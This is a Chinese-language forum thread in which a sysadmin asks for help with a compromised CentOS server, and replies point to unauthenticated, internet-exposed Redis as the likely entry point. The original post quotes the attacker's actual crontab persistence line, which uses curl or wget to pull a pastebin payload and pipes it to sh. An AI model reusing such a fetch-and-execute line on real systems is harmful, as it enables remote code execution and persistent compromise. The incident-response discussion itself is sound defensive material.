Linux 被入侵了该怎么整,入侵者摆明了不怕你知道

2019-02-21 23:26:20 +08:00
 abcbuzhiming
今天一觉起来,被报告说有台 CentOS7.5 速度变的很卡。上去一看,没发现 CPU,内存占用有什么很异常的地方,随手敲 netstat -ntlp 准备看看端口占用是不是由异常,结果出现提示:-bash: /usr/bin/netstat: No such file or directory。啊?什么鬼。再一检查 /usr/bin/netstat 文件不存在,我还以为是被不小心删掉了,不管,yum reinstall net-tools 重装网络套件,结果这一装就露出马脚了,/usr/bin/netstat 文件在刚装好的时候是可以用的,几分钟之内,就不翼而飞了,反复几次后,我就明白有什么程序把它给自动删掉了。随后进一步检查发现,
crontab -l 查定时任务发现这样一行代码:绝对不是我设置的
*/15 * * * * (curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh
打开这个网址发现得到的是一串明显被加密过的字符串,无法进一步排查。删除这个信息,几分钟内会被重新添加。

现在,用 netstat -ntlp 查不出有异常端口,但是我个人怀疑 netstat 很可能已被某种手段屏蔽,证据就是它看不到占用 80 端口的 Nginx (我确定 Nginx 仍然在工作)的 PID(显示为 - ),lsof -i:80 同样失效,我猜测黑客(木马)是打算使用 80 端口的,但是 80 端口跑着 Nginx 导致没成功。机器上的 /usr/bin/netstat 每隔几分钟就被删除,计划任务里始终有那条自动执行请求,我删掉等一会就会自动添加。ps -ef 查不出有异常进程,CPU 和内存均无特别异常,就是系统响应速度慢。我该咋办,除了备份数据重装系统没办法了吗?头一次这么嚣张的 Linux 入侵
18128 次点击
所在节点    Linux
106 条回复
uorz
2019-02-22 09:07:13 +08:00
@uorz 或者从其它弱保护的机器扩散过来的
abcbuzhiming
2019-02-22 09:09:39 +08:00
@zou2699 redis 有这样的漏洞?麻烦详细说一下
lepig
2019-02-22 09:12:03 +08:00
之前 在一台测试 vps 上为了方便安装了一个没设置密码的 redis 服务,然后 和楼主的情况一样。

我使用了 下面的代码基本上 清除了 。cpu 目前正常,楼主可以参考下。
https://coding.net/u/omg/p/AA/git/blob/master/%E6%B8%85%E7%90%86%E8%84%9A%E6%9C%AC.sh


不过 如果能回滚最好回滚
lepig
2019-02-22 09:14:21 +08:00
然后 使用 top 命令 查看下 是否有`python -c `开头的命令,看看是否有莫名启动的进程。直接 kill 掉
uorz
2019-02-22 09:17:20 +08:00
@uorz 如果真是其它机器过来的也可以解释为啥会删了又出来
LokiSharp
2019-02-22 09:18:51 +08:00
目测是没开防火墙然后 Redis MongoDB 之类暴露在外网了
17612729987
2019-02-22 09:19:35 +08:00
昨天我也中招了,提交工单到阿里排查以后让我重装系统
![]( https://i.loli.net/2019/02/22/5c6f4dc3c8c11.png)
更换系统盘,初始化系统盘,到晚上居然云盾又提醒我
![]( https://i.loli.net/2019/02/22/5c6f4e154acc9.png)
baozhibo
2019-02-22 09:21:51 +08:00
@hv3s1 这个是变种,扫不出来的。
crazyjin
2019-02-22 09:22:13 +08:00
服务器被入侵了和戴绿帽子一样头大。
17612729987
2019-02-22 09:24:12 +08:00
和楼上说的一样,没装 redis 之前用了快一年一点问题都没有,前天装上了,默认没密码我就给改,第二天晚上就被阿里云发邮件提醒
17612729987
2019-02-22 09:25:50 +08:00
默认没密码我就给改 -> 默认没密码我就没改
passerbytiny
2019-02-22 09:26:39 +08:00
楼主先说下 redis 是不是开了公网访问并且不设密码,如果是的话,那 100%是这个原因。
xxxy
2019-02-22 09:33:52 +08:00
redis 未授权访问可以 get Shell 的
kernel
2019-02-22 09:38:47 +08:00
你的 mysql/redis 都开了公网访问? 我都不敢开这种东西的公网,感觉比 nginx 脆多了
linnil
2019-02-22 09:45:35 +08:00
msg7086
2019-02-22 09:48:14 +08:00
@17612729987 哪个发行版啊,装上以后默认 root 运行而且暴露公网的?
wizardoz
2019-02-22 09:51:31 +08:00
@crazyjin 兄弟深有感触啊……逃了
linnil
2019-02-22 09:58:04 +08:00
对了,35 楼脚本不停止挖矿,只清理,清理之后自己删挖矿进程吧。
脚本也使用了 base64 编码,自己解码即可。
写得不好之处,欢迎告知我修改。
Heyavc
2019-02-22 09:59:14 +08:00
没设置密码的 redis 暴露在公网很危险的,未授权访问设置写入(如果有写入权限的话)私钥信息,就算 SSH 改了端口也能扫描出来。
malagebidi
2019-02-22 09:59:33 +08:00

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/537457

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX